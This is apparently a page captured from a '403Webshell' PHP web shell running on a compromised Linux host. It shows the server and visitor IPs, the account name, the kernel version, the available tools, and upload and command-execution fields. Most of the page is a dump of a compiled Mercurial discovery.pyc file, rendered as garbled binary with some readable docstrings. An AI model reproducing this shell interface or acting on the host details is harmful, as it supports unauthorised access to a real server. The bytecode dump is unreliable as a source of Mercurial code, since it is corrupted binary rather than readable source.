403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/__pycache__/discovery.cpython-313.pyc
�

6�h^���SSKJr SSKrSSKJr SSKJrJr SSKJ	r	J
r
JrJrJ
r
JrJrJrJrJrJr SSjr"SS	5rSS
jrSrSSjrS
rSrSrSrg)�)�annotationsN�)�_)�hex�short)�	bookmarks�	branchmap�error�node�obsolete�phases�pycompat�scmutil�setdiscovery�
treediscovery�utilc��^	^
�URS5(d[R"XX#5$U(a5URRm
[U
4SjU55(aUSU4$[R"URUUU(+US9nUupgnU(a2U(d+URRm	[U	4SjU55n[U5Xr=(d [U54$)a�Return a tuple (common, anyincoming, heads) used to identify the common
subset of nodes between repo and remote.

"common" is a list of (at least) the heads of the common subset.
"anyincoming" is testable as a boolean indicating if any nodes are missing
  locally. If remote does not support getbundle, this actually is a list of
  roots of the nodes that would be incoming, to be supplied to
  changegroupsubset. No code except for pull should be relying on this fact
  any longer.
"heads" is either the supplied heads, or else the remote's heads.
"ancestorsof" if not None, restrict the discovery to a subset defined by
  these nodes. Changeset outside of this set won't be considered (but may
  still appear in "common").

If you pass heads and they are all known locally, the response lists just
these heads in "common" and in "heads".

Please use findcommonoutgoing to compute the set of outgoing nodes to give
extensions a good hook into outgoing.
s	getbundlec3�4># �UH
nT"U5v� M g7f�N���.0�h�	knownnodes  ��5/usr/lib/python3/dist-packages/mercurial/discovery.py�	<genexpr>�%findcommonincoming.<locals>.<genexpr><s����+�U��y��|�|�U���F)�abortwhenunrelated�ancestorsofc3�>># �UHnT"U5(+v� M g7frr)r�n�has_nodes  �rrrJs����4�e���!��_�_�e���)�capabler�findcommonincoming�	changelog�hasnode�allr�findcommonheads�ui�any�list)�repo�remote�heads�forcer �res�common�anyinc�srvheadsr#rs         @@rr&r&!s����,�>�>�,�'�'��/�/��e�K�K���N�N�*�*�	��+�U�+�+�+��5�%�(�(�
�
&�
&������$�9���C� #��F�H��V��>�>�)�)���4�e�4�4����L�&�"9�4��>�:�:�c�r�\rSrSrSrS	SjrSr\RS5r	\RS5r
Srg)
�outgoing�NarRepresents the result of a findcommonoutgoing() call.

Members:

  ancestorsof is a list of the nodes whose ancestors are included in the
  outgoing operation.

  missing is a list of those ancestors of ancestorsof that are present in
  local but not in remote.

  common is a set containing revs common between the local and the remote
  repository (at least all of those that are ancestors of ancestorsof).

  commonheads is the list of heads of common.

  excluded is the list of missing changeset that shouldn't be sent
  remotely.

Some members are computed on demand from the heads, unless provided upfront
by discovery.Nc��UbUbSn[R"U5eURnUR5nURnURn	Sn
SnUnUcUR5nU[R/:XdU/:Xa^UR/n[5nUcUV
s/sH
o�"U
5PM n
n
GOeURSXC5nUV
s/sH
o�"U
5PM n
n
GO:UGb"URSXC5nURU5V
s/sH
o�"U
5PM nn
URn[5nUH>n
U"U
5unnUU;aURU5 UU;dM-URU5 M@ UR[R5 U(dUR/n[5nO:URSUU5nUV
s/sH
o�"U
5PM nn
URUSS9nUV
s/sH
o�"U
5PM n
n
OU(d
UR/nX lX0lX`lX�lX�l/Ulgs sn
fs sn
fs sn
fs sn
fs sn
f)Nz=commonheads and missingroots arguments are mutually exclusivez::%lnz%ln::%lnzheads(%ld::%ld)T��	inclusive)r
�ProgrammingErrorr'�
unfilteredrr0�nodemod�nullrev�nullid�set�revs�headrevs�
parentrevs�add�discard�	ancestors�commonheadsr �_revlog�_common�_missing�excluded)�selfr.rIr �missingroots�m�cl�unfi�ucl�to_node�missingr3�arg_anc�r�missing_rev�parent_revs�common_legs�p1�p2�commonheads_revss                    r�__init__�outgoing.__init__ds<���"�|�'?�O�A��(�(��+�+�
�^�^����� ���n�n���(�(�����������(�(�*�K��G�O�O�,�,���0B��;�;�-�K��U�F���/1�2�r�!�7�1�:�r��2��"�i�i���K��/:�;�{�!�7�1�:�{��;��
�
%��)�)�J��J�K�/2�|�|�K�/H�I�/H�!�7�1�:�/H�K�I��.�.�K��%�K� ��$�Q����B��[�(��O�O�B�'��[�(��O�O�B�'�!�
������0��#�{�{�m�����#'�9�9�%���$� �
4D�D�3C�a�w�q�z�3C��D����'7�4��H��+6�7�;�a�w�q�z�;�G�7�G���;�;�-�K�&��&�������
���
��I3��<��J��&E��7s�%I�I
�I�I�7Ic��URRURUR5nUuUlUlgr)rJ�findcommonmissingrIr rKrL)rN�setss  r�_computecommonmissing�outgoing._computecommonmissing�s7���|�|�-�-����d�.�.�
��'+�#���d�mr6c�T�URcUR5 UR$r)rKrc�rNs rr3�outgoing.common�s"���<�<���&�&�(��|�|�r6c�T�URcUR5 UR$r)rLrcrfs rrU�outgoing.missing�s"���=�=� ��&�&�(��}�}�r6)rKrLrJr rIrM)NNN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r^rcr�
propertycacher3rU�__static_attributes__rr6rr8r8NsM���,FJ�;�z+�
������

�����r6r8c��[USS5nUc
[XX2S9nUuUlpx[R"U5=(d UR
n	U	(d U=(d UR
5UlGO�UcZURS5R
5UlURS5V
s/sHo�R5PM sn
UlGObURRURU5nUuUln/=Uln
/=UlnUHbnXn
U
R!5[R":�dU
R%5(aUR'U5 MQU
R'U5 Md [)U
5[)U5:XaUnO�URR*R,nURRnUVs/sHnU"U5PM
 nnUVs/sHnU"U5PM
 nn[R."UUU5nUVs/sHnU"U5PM
 nnUUlU(a�UR15 URnURVs1sHnUR-U5iM nn[UR3U55U-
Ul[UR5nURVs/sH
nUU;dMUPM snUlU$s sn
fs snfs snfs snfs snfs snf)a.Return an outgoing instance to identify the nodes present in repo but
not in other.

If onlyheads is given, only nodes ancestral to nodes in onlyheads
(inclusive) are included. If you already know the local repo's heads,
passing them in onlyheads is faster than letting them be recomputed here.

If commoninc is given, it must be the result of a prior call to
findcommonincoming(repo, other, force) to avoid recomputing it here.

If portable is given, compute more conservative common and ancestorsof,
to make bundles created from the instance more portable.N)r1r sservedssecret() or extinct())r8r&rIr
�	hassecret�obsstorer0r �filteredrBrrMr'rarKrL�phase�secret�extinct�append�len�index�rev�	new_headsrcrH)r.�other�	onlyheadsr1�	commoninc�portable�og�_any�_hds�
mayexclude�ctxrb�
allmissingrUrMrr �to_revrTrW�
excluded_revs�onlyheads_revsr|rQr"�missingrevsrIrs                            r�findcommonoutgoingr��st�� 
�$��d�	#�B���&��u�
�	�"+��B�N�D��!�!�$�'�8�4�=�=�J��"�2�d�j�j�l���	�	����y�1�7�7�9���-1�X�X�6N�-O�P�-O�c�x�x�z�-O�P����~�~�/�/����	�J��!%���
�J� "�"���g�!#�#���h��D��*�C��y�y�{�f�m�m�+�s�{�{�}�}�����%����t�$���w�<�3�z�?�*�#�K��^�^�)�)�-�-�F��n�n�)�)�G�08�9��1�V�A�Y��M�9�1:�;��A�f�Q�i��N�;��(�(��~�}�M�I�/8�9�y�!�7�1�:�y�K�9�$����	� � �"�
�^�^��*,�+�+�6�+�Q�r�v�v�a�y�+��6�����k�2�3�k�A��
��"�.�.�)��%'�^�^�L�^��q��7K�!�^�L���
�I��EQ��$:��;��9��7��Ms*�/K%�K*�)K/�K4�%K9�
K>�K>c�$�URR5nURnURnURn0n[5n[5nURH7nXn	URU	5 URU	R55 M9 UR5n
U
RS05R5nSSS5 URnWR5HZup�X�;aM/n/nUH4nU"U5(aURU5 M#URU5 M6 U[U5U4X]'M\ UHn
X�;dM
S//4X]'M [ R""USUR555nUR%USU55 UR5Hun
nUX]SSS&M UR5H,un
nUHnUcMUR'5 M U/4-X]'M. UR((a�URR*nUR,Vs1sHnU"U5iM
 nnUUR.Vs1sHnU"U5iM
 sn-nURR1USS9n[3[4R6"U55H9up�UunnnnUU5nU[3US5U[3US54X]'M; U$!,(df   GN0=fs snfs snf)	a�compute a summary of branch and heads status before and after push

return {'branch': ([remoteheads], [newheads],
                   [unsyncedheads], [discardedheads])} mapping

- branch: the branch name,
- remoteheads: the list of remote heads known locally
               None if the branch is new,
- newheads: the new remote heads (known locally) with outgoing pushed,
- unsyncedheads: the list of remote heads unknown locally,
- discardedheads: the list of heads made obsolete by the push.
�	branchmapNc3�B# �UHupUScM
XS4v� M g7f)rNrr)r�branchr0s   rr� _headssummary.<locals>.<genexpr>.s)���	
�!1�
���Q�x�
�V�1�X��!1�s��
c3�@# �UHoR5v� M g7fr)r{)rr�s  rrr�4s���9�j�s�����j���rTr;r)r.r>r/r8r'rBrUrFr��commandexecutor�callcommand�resultr(�itemsrxr-r	�remotebranchcache�update�sortrsr{r rIrH�sortedr�	iteritems�_postprocessobsolete)�pushopr.r/r8rQ�headssum�
missingctx�branchesr"r��e�	remotemaprr�r0�known�unsyncedr�newmap�newheadsr��l�torev�futureheads�allfuturecommon�remoteheads�
unsyncedheads�placeholderr�s                             r�
_headssummaryr��s����;�;�!�!�#�D�
�]�]�F����H�	
���B��H���J��u�H�
�
�
���g�����s�����S�Z�Z�\�"��

�	�	�	!�Q��M�M�,��3�:�:�<�	�
"��
�
�I�"���*�
���!�������A���|�|����Q������"�	�
"�4��;��9���+����!� $�b�"�~�H����
(�
(��	
�!)���!1�	
��F��M�M�$�9�j�9�:�"�L�L�N����!)�����A��+�!���)�
����A��}������!�B�5�=���	*��}�}����"�"��)1�)=�)=�>�)=�A�u�Q�x�)=��>��(�*>�*>�?�*>�Q��a��*>�?�?���.�.�2�2�;�$�2�O��#�H�$6�$6�x�$@�A�M�F�@E�=�K��=�+�)�&�/�8�L�F���v�a�y�!���v�a�y�!�	 �H��B��O�s
"�	!��Z?��?s�,!K6�L�'L
�6
Lc��^�URRm[U4SjU55nURSXBR5n[SU55nU(aS/nO/nSXFU/40$)z;Compute branchmapsummary for repo without branchmap supportc3�F># �UHnT"U5(dMUv� M g7frrrs  �rr�#_oldheadssummary.<locals>.<genexpr>Vs����=��A�	�!��a�a��s�!�	!sheads(%ln + %ln)c3�@# �UHoR5v� M g7fr)r)r�cs  rrr�]s���*��1�f�f�h�h��r�N)r'r(r�rBrU)	r.r�r8�inc�oldheadsrWr�r�rs	        @r�_oldheadssummaryr�Osn������&�&�I��=��=�=�H�	
���$�h�0@�0@�A�A��*��*�*�H�
��6�����8�x��4�5�5r6c��URR5nURnURnUR	5nURSSS05R
5nSSS5 [5nURRSS5Vs/sHnURU5PM nnUH�n	WRU	5n
U
(aNX�;aIXU	Xp�[R"XU5(a!URUR55 MgMiX�;dMpX�;dMwURX95 M� U$!,(df   N�=fs snf)Nslistkeyss	namespaces	bookmarksspushing)r.r>r/�
_bookmarksr�r�r�rBr+�
configlist�
expandname�getr�	validdestrFr)
r�r.r/�localbookmarksr��remotebookmarks�bookmarkedheads�b�newbookmarks�bm�rnode�lctx�rctxs
             r�_nowarnheadsr�fs:���;�;�!�!�#�D�
�]�]�F��_�_�N�	�	�	�	!�Q��-�-���l�
�
�
�&�(�	�
"��e�O�
���%�%�l�J�?��?�A�	�!�!�!�$�?���
���#�#�B�'���U�]��R�0�1�4�;�$��"�"�4�t�4�4��#�#�D�I�I�K�0�5��!�b�&?��#�#�N�$6�7����5
"�	!��s�#E�E�
Ec�	�URR5nURnURnURnUR
n[
UR5nXAR/:XagURS5(a[U5nO[XX65nXplUR5VV	s/sHup�U	SbM
UPM n
nn	U
(a�U(d�SR[U
55n[!5nUR#5R%5H up�p�U(dMUR'U
5 M" U[!U
5-nU(a[)S5U[+U54-nO[)S5U-n[)S5n[,R."UUS9e[1U5nSn[[2R4"U55GH�up�U	unnnnUc[!5nO[!U5nUR7U5 Sn[!U5nUR7U5 U(a�SU;aSn	O[8R:"UU5n	U	c%UR<R?[)S	55 OSUc(UR<R?[)S
5U	-5 O(UR<R?[)S5X�4-5 Uc7[+U5S:�a'[AU5nUc[)S
5U-n[)S5nO)[+U5[+U5:�a[UU-
U-
5nU(dGMdUc�US;a[)S5[CUS5U4-nOiUUSRE5(a4[)S5[CUS5UUSRE5S4-nO[)S5[CUS5-nU(a[)S5nO[)S5nUc%UR<RG[)S55 O'UR<RG[)S5U-5 UH*nUR<RGS[CU5-5 M, GM� U(a[,R."UWS9egs sn	nf)zhCheck that a push won't add any outgoing head

raise StateError error and display ui message as needed.
Nr�rs, s0push creates new remote branches: %s (%d closed)s$push creates new remote branches: %ss8use 'hg push --new-branch' to create new remote branches)�hints,remote has heads that are not known locally
s0remote has heads that are not known locally: %s
s?remote has heads on branch '%s' that are not known locally: %s
rs0push creates new branch '%s' with multiple headss?merge or see 'hg help push' for details about pushing new heads)sdefaultNs.push creates new remote head %s on branch '%s's2push creates new remote head %s with bookmark '%s'spush creates new remote head %ssHpull and merge or see 'hg help push' for details about pushing new headssnew remote heads:
s!new remote heads on branch '%s':
s %s
)$r.r>r/r8r��	newbranch�bool�incomingrAr%r�r��
pushbranchmapr��joinr�rBr	�iterbranchesrFrryr
�
StateErrorr�rr�r�r�
nodesummariesr+�statusr-rr�note)r�r.r/r8r�r�r�r�r�r0�newbranches�branchnames�closedbranches�tag�tip�isclosed�errmsgr��nowarnheads�errormsgr�r��discardedheads�oldhs�dhs�newhsrs                           r�
checkheadsr��sA���;�;�!�!�#�D�
�]�]�F����H��$�$�K�� � �I�
�v���
�C��{�{�m�#��
�~�~�l�#�#� ��(��#�D�x�E��#��$,�N�N�$4��$4�=�6��a���$4����9��j�j���!4�5�����)-���)9�)F�)F�)H�%�C���x��"�"�3�'�*I�(�#�k�*:�:����J�K���N�#�O��F�
�>�?�+�M�F��L�M�����v�D�1�1��v�&�K�
�H��� 2� 2�8� <�=�
��?D�<��X�}�n����E�E���$�E�
���]�#����H�
��
���]�#���}�$����-�-�d�M�B���}�������F�G����������J�K����
������3���o�	&�����5�z�A�~��5�k���#��M�N� �!���.��D��
��Z�#�e�*�
$����,�u�4�5�C��3����!3�3� �I� ��c�!�f�
��� �H��#�a�&�\�+�+�-�-� �.� ��s�1�v���S��V��(>�(>�(@��(C�D� E�H�
 !�!C�D�u��A��H� �H�!��.��D��.��D�
�~������Q�5�6�7������Q�D�E��N�O��������X��a��0�1��i>�l����x�d�3�3���gs�8R�Rc�^^^^^^^^�URnUR5mTRRRm[
RmTRRmUUU4SjmUU4Sjn[R"[TRU5mTRRn[5n[5n[5n[5n	UHhn
U
T;aURU
5 MUR!U
5b)SnUR"R%U['U
5-5 U	RU
5 Mj [)U5S:XaU	[U5-[54$[*R,"TS5n[/T5U-
mU(Ga$UR15n
T"U
5nTU
R35nT"U5(dX�;aURU
5 MXTR5SX�U5n/nUH=nTUnUR35U:XdMUR7UR955 M? [;U4SjU55(d5[;UU4SjU55(d[;U4S	jU55(aURU
5 OURU
5 U(aGM$Xi-nXg4$)
z�post process the list of new heads with obsolescence information

Exists as a sub-function to contain the complexity and allow extensions to
experiment with smarter logic.

Returns (newheads, discarded_heads) tuple
c�>�T"TU5T:H$rr)rW�getphase�publicrRs ���r�<lambda>�&_postprocessobsolete.<locals>.<lambda>1s����$��*�f�4r6c�>�T"U5T;$rr)r"�futurecommonr�s ��rr�r�2s����q��\�1r6s=checkheads: remote head unknown locally has local marker: %s
rsobsoletesonly(%n, (%ln+%ln))c3�4># �UH
nT"U5v� M g7frr)rrW�ispublics  �rr�'_postprocessobsolete.<locals>.<genexpr>hs����0�Z������Z�rc3�:># �UHnT"U5T;v� M g7frr)rr"�futurenonobsoleter�s  ��rrr�is����F�+�Q�5��8�0�0�+�s�c3�>># �UHnT"U5(+v� M g7frr)rr"�hasoutmarkers  �rrr�js����<��1�|�A��&�&��r$)r.r>r'rz�get_revr
r��_phasecacheru�	functools�partial�pushingmarkerforrs�
successorsrBrFr�r+�debugrryr�getrevs�	frozenset�popr�rCrxrr,)r�r��candidate_newhsr.�ispushed�successorsmarkersr��	discarded�localcandidate�unknownheadsr�msg�obsrevs�nhrW�current_branch�
branchrevs�branchnodesr�r�r�r�r�r�r�rRs `                 @@@@@@@rr�r�sG��� �;�;�D��?�?��D��N�N� � �(�(�E�
�]�]�F����%�%�H�4�H�1�H��$�$�%5�t�}�}�h�O�L��
�
�0�0���E�E���I��U�N��5�L�
����9����q�!� �$�$�Q�'�3�+�����
�
�c�C��F�l�+����Q����>��a���c�/�2�2�C�E�9�9����t�[�1�G�!�,�/�'�9���
�
�
�
!���"�I���b����*���A�;�;�!�*��I�I�b�M���Y�Y�"�B��
�
����A��Q��A��x�x�z�^�+��"�"�1�6�6�8�,��
�0�Z�0�0�0��F�+�F�F�F��<��<�<�<��I�I�b�M�
�M�M�"��I�.�J
��E���r6c�b�URnU/n[U5nU(a�UR5nU"U5(agURUS5nUHOnUSn	U	(dUS=(d Sn	U	H,n
X�;dM
UR	U
5 URU
5 M. MQ U(aM�g)a�true if some markers are to be pushed for node

We cannot just look in to the pushed obsmarkers from the pushop because
discovery might have filtered relevant markers. In addition listing all
markers relevant to all changesets in the pushed set would be too expensive
(O(len(repo)))

(note: There are cache opportunity in this function. but it would requires
a two dimensional stack.)
Trr�F)r�rBr�r�rFrx)rsr�rr��stack�seen�current�markersrP�nextsr"s           rr�r�ws���!�+�+��
�F�E��u�:�D�
��)�)�+���G����#�'�'���4���A��a�D�E���!��
������=��H�H�Q�K��L�L��O��	�
�%�r6)NFN)NFNF)F)�
__future__rr��i18nrrrr�rr	r
r?rr
rrrrrr&r8r�r�r�r�r�r�r�rr6r�<module>rso��#����
����*;�Zc�c�NHM�B�JS�l6�. �FP4�fX�vr6

Youez - 2016 - github.com/yon3zu
LinuXploit